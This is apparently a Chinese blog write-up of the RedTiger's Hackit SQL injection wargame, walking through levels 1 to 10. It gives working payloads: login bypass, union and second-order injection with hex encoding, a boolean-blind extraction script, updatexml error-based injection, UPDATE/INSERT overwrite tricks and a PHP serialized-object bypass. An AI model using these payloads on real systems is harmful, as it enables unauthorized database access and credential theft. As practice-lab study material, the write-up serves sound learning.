RedTiger's Hackit WP

RedTiger's Hackit

我的wp是按照我的做题思路直接写出来的,不仅是为了借鉴,也是为了日后返回复习的时候,能从之前的错误中吸取经验教训,或是感悟一些巧妙地思想。

前些天刚学过sql注入,今天来这个网站巩固一下

level 1

第一关着实有点懵x,用burp重放的时候,#被自动去掉然后400报错(一开始没发现),然后就去尝试了盲注,结果布尔盲注可行???我觉得第一题不会搞这么难吧,去看了下别人的wp,才发现是我的#被burp吃掉了。。。

做题过程还是先测回显位(字段):

然后根据提示直接在表level1_users里拿username和password

我也尝试了一下爆表名,但是group_concat,concat, limit都被ban掉了

level 2

这道题的hint:Condition没看懂什么意思 = =

还是先加引号,看有没有报错, 发现Password里添加引号会报错

但是只会报错,不会回显,然后去搜了报错的那个函数mysql_num_rows(),发现它用来返回查询结果的行数,想到是用行数来判断账号密码是否对应,,,然后想起了这道题是 simple login bypass,所以直接万能密码 ' or 1=1 #

level 3

第三题,这道题给了hint:try to get an error,但是找不到报错点,尝试很多次无果后,在以为前辈的wp上看到了方法,传入数组,就是usr[]=xxxxxxxxx

报错里给了一个文件,打开里边有源码

<?php

	// warning! ugly code ahead :)
	// requires php5.x, sorry for that
  		
	function encrypt($str)
	{
		$cryptedstr = "";
		srand(3284724);
		for ($i =0; $i < strlen($str); $i++)
		{
			$temp = ord(substr($str,$i,1)) ^ rand(0, 255);
			
			while(strlen($temp)<3)
			{
				$temp = "0".$temp;
			}
			$cryptedstr .= $temp. "";
		}
		return base64_encode($cryptedstr);
	}
  
	function decrypt ($str)
	{
		srand(3284724);
		if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
		{
			$str = base64_decode($str);
			if ($str != "" && $str != null && $str != false)
			{
				$decStr = "";
				
				for ($i=0; $i < strlen($str); $i+=3)
				{
					$array[$i/3] = substr($str,$i,3);
				}

				foreach($array as $s)
				{
					$a = $s ^ rand(0, 255);
					$decStr .= chr($a);
				}
				
				return $decStr;
			}
			return false;
		}
		return false;
	}
?>

很明显,这是加密解密的php代码,然后把要注入的语句扔进去加密一下再提交就行,结果。。。

我的php不知道什么问题,加密的代码不正确(Admin加密出来都不一样) = = ,换了几个版本都不行,只好去copy了,思路是一样的

测字段和回显位

usr=MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMyMDc2MTc2MDc0MDM4

usr=MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MTc1MDcwMDYyMTk5MjM1MjE5MDgxMjQ2MTUyMjA4MTc4MTEx

爆username和password

usr=MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MjMyMDI1MTA0MTUzMTc3MTUwMDA5MTkxMTMwMjA3MTY5MTIwMTUzMTk3MDQwMTA0MTc3MTQ5MjA5MTg0MTEzMDU0MTgwMjA4MTE4MjE4MTcwMTc4MDE1MTk4MDAyMTQ2MTE1MDcwMTQzMTU0MDI3MDE3MTY1MTY0MDQ3MDM2MDgwMjIzMDQ4MDc5MTI1MTAxMTA3MTU1MTQ2MDk0MTU0MjAyMDY4MDMyMjIzMTQ3MDYzMDM1MjE4MDE3MDM1MTQzMDk3MjAyMjAzMDc1MTE1MTgyMDQ5MTgy

level 4

测试了一下,发现是布尔盲注

丢给sqlmap跑,结果sqlmap测不出数据库类型???一脸疑惑,也没有查到原因。

只好自己写脚本(这个代码是我从这篇wp里copy过来的 = =)

def get_flag_length():
    sql = 'if((select length(keyword) from %s limit 0,1)=%d ,1 , 0)'
    sql_url = baseurl + sql
    flag_length = 1
    for i in range(0, lll):
        while flag_length:
            print(flag_length)
            res = requests.get(url=sql_url % (table_name, flag_length), headers=headers, proxies=proxy)
            if flag in res.text:
                return flag_length
            flag_length += 1
            if flag_length > 200:
                table_length = -1
                break


def get_flag_name():
    sql = 'if(ascii(substr((select keyword from %s limit 0,1), %d, 1))=%d, 1, 0)'
    sql_url = baseurl + sql
    flag_name = ''
    for no in range(1, flag_length + 1):
        for x in range(1, 200):
            res = requests.get(url=sql_url % (table_name, no, x), headers=headers, proxies=proxy)
            if flag in res.text:
                flag_name += chr(x)
                print(flag_name)
                break
            else:
                print(x)
                continue
        print(flag_name)

    print(flag_name)
    return flag_name

最后拿到flag

睡觉睡觉,明天再做

level 5

这题ban了substring,substr,",", mid

hint:不是盲注,密码被md5加密了,观察登录错误

根据hint,回显位在登录错误的地方,猜测是报错注入

username 引号报错

这个函数在前边讲过,是返回查询结果的行数,所以这里应该是查询username对应的数据项,然后拿查询结果里的md5值和md5(password)比对,那么之前的猜测就错了(不是报错注入),而是union select 绕过

原理代码大概是:

$con = mysqli_connect(xxxxxx)
$sql = "select * from table where username = ".$_POST["username"];
$result = mysqli_query($con, $sql);
$row_number = mysql_num_rows($result);// 返回查询结果的行数
if($row_number > 0){
    $row = mysql_fetch_assoc($result);// 将查询结果转换为关联数组
    if($row["password"] == md5($_POST["password"]))
        echo $flag;
}else
    echo "Login failed!";

证实了我的猜测,这里select的1和2替换掉了查询结果里的username和password,但是不匹配

构造union select username=任意值1 password=md5(任意值2),然后post-data里password=任意值2

bingo!

恰饭恰饭,恰完饭今天先写作业了,写完作业继续

level 6

看到url里有user参数,加了个引号,报错,提示 mysql_fetch_object(),去查了一下,函数的作用和mysql_fetch_assoc() 比较类似,

测试到user=5没有查询结果

但是user=5 or 1=1有回显,说明存在注入点

没有什么思路,晚上撸了串喝了酒,不适合昨天,明天再看

咕了好几天,今天把这些肝完吧

确定字段数(回显位)

找到username的回显位

但是password不管放在哪都没有回显

去看了下别人的wp,发现是二次(查询)注入,emmmm,我还没学二次注入,索性把这道题当作是学新知识点了。

后台代码可能是,来源

$sql="select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>'.mysql_error().'</pre>');
$row=mysql_fetch_row($result);
$username=$row1[1];
$sql2="select username,email from level6_users where username="."'".$username."'"

看到代码,思路就很清晰了。

二次查询就是,用id去查询username,然后用username去查询username和email信息

所以需要达到的条件:

  • 一次查询结果有admin/status=1的用户username
  • 二次查询时能把其账号密码导出

那么,第一次查询需要用union构造一个含有status=1的用户的查询结果返回

5 union select 1,username,3,4,5 from level6_users where status=1

其中username字段为sql2需要拼接的语句

username=' union select 1,username,password,4,5 from level6_users where status=1 #

如果直接拼接进去的话,引号会报错

5 union select 1,' union select 1,username,password,4,5 from level6_users where status=1 #,3,4,5 from level6_users where status=1

所以需要用十六进制编码进行注入

5 union select 1,0x2720756e696f6e2073656c65637420757365726e616d652c70617373776f72642c332c342c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 from level6_users where status=1

尝试发现email回显位为4

调整payload

5 union select 1,' union select 1,username,3,password,5 from level6_users where status=1 #,3,4,5 from level6_users where status=1

5 union select 1,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 from level6_users where status=1

level 7

给了表名level7_news,列名autor(不该是author吗)

让查询发布过和google相关新闻的作者名字

ban了 注释,substr,substring,ascii,mid,like

搜了google,有一篇新闻,确定是要get到这个作者

然后加引号有报错

sql语句:SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%google'%' OR text.title LIKE '%google'%')

这块有两个参数点,所以要构造一个前后都能闭合的语句

SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'='%') union select autor from level7_news and ('%'='%' OR text.title LIKE '%'='%') union select autor from level7_news and ('%'='%')

'='%') union select autor from level7_news and ('%'='

但是仍然报错,看了下是text.title那里,考虑自己的思路可能错了,emmm,可能还有没ban掉的注释,这样就可以处理后半句报错的问题,试了知道的几个注释符,都被ban了,去搜了下,--%a0可以,然后测出了回显位

1%') union select 1,2,3,4 from level7_news --%a0

payload: 1%') union select 1,2,3,4 from level7_users --%a0

拿到flag

level 8

目标是拿到admin的密码,给了修改框,猜测是update注入,尝试报错,在Email加引号的时候报错,说明存在注入点

根据报错内容,判断sql语句中字段顺寻为Email,ICQ,Age

看了下update的用法

UPDATE table_name SET field1=value1, field2=value2 [where clause]

猜测sql语句为update table set name='x',mail='x',icq='x',age=x where id=1

那么把password插入到Email域里就行了

', Email="asd"

但是这些字段都是被 “ ” 包围的,没办法执行里面的sql语句,观察了一下,发现Age是没有被引号包围的,但是它是一个Int型字段,所以想到了用length和ascii进行注入,emmmmmm,问题来了,查不到库名,表名,字段名,应该是被ban了,不是考点。不过这个思想可以可以记下来,说不定以后用得到。

看了下wp,这里考的是,同一数据项的字段可以相互赋值,例如A1=A2

那么payload:',email=password,icq='

今天在思考这道题的时候,想到了updatexml报错注入,尝试了下发现可以爆,但是查数据库名的所有方法都被ban掉了

hans@localhost' or updatexml(0x7e,(version()),0) or '

level 9

这道题的目标是拿到任何用户的账号密码

给了表名level9_users

给了提示,这道题不是盲注,可以拿到回显

给了一个查询框,应该是文章查询的,有姓名,题目和正文三部分

挨着加引号,发现在正文里加引号会报错,说明存在注入点

根据报错结果,猜测sql语句为select * from level9_users where title=xxx and (name like '' or title like '' or text like '')

构造语句111') union select 1,2 from level9_users #

发现注释被ban了,换其他姿势试了下,发现--%a0可行

查了下这个函数,大概是用sprintf函数返回update后的结果(报错的原因是引号封闭导致占位符%s数量不一致)

update???

试一下updatexml报错注入

' or updatexml(0x7e,(version()),0) or '成功!

' or updatexml(0x7e,(select group_concat(username) from level9_users),0) or '爆用户名

但是这里没有报错!!!可能是空值,先试试密码

' or updatexml(0x7e,(select group_concat(password) from level9_users),0) or '爆密码

emmmm,怎么看都不想答案,先试一下吧

给了提示,大概意思是,使用了未定义的常量?一脸懵逼,应该是哪里错了

emmmmm,我回去看了下文档,发现prinf()函数报错是insert,不是update操作

sprintf("INSERT INTO listing (name, title, text) VALUES (%s,%s,%s)", $name,$title,$text;

放进去就是

sprintf("INSERT INTO listing (name, title, text) VALUES ('$name','$title','$text')";

在insert into时,后一组数据可以覆盖前一组数据,和上一道题的方法类似

构造payload

'),((select username from level9_users),(select password from level9_users),'

这一类思想很重要,后来的数据可以覆盖先来的数据

level 10

这道题就一个登录按钮,用burp抓包

里面有一串字符,拿去decode

应该是php的序列化对象,根据提示,要用TheMaster登录

尝试登录,失败

还尝试了很多姿势,都失败了,= =我对php序列化和反序列化不是很熟悉,去看了wp,发现只需要设置密码的布尔值为1即可。

payload=login=YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=&dologin=Login

总结

这些天的效率很低,但还是坚持把RedTiger's Hackit做完了。收获了很多知识点和思想,也感悟了一些安全的理念。这些零碎的知识都是需要回过头仔细整理打磨的,尤其是做题过程中,深刻地体会到了自己所了解的知识量的严重匮乏,知道的太少太少了。仍是需要打起十二分的气魄,一步步向前走。安全的路会走的很艰难,但也会很快乐。乐在其中的踱步前行就是我的节奏了。

原文地址:https://www.cnblogs.com/R3col/p/12501483.html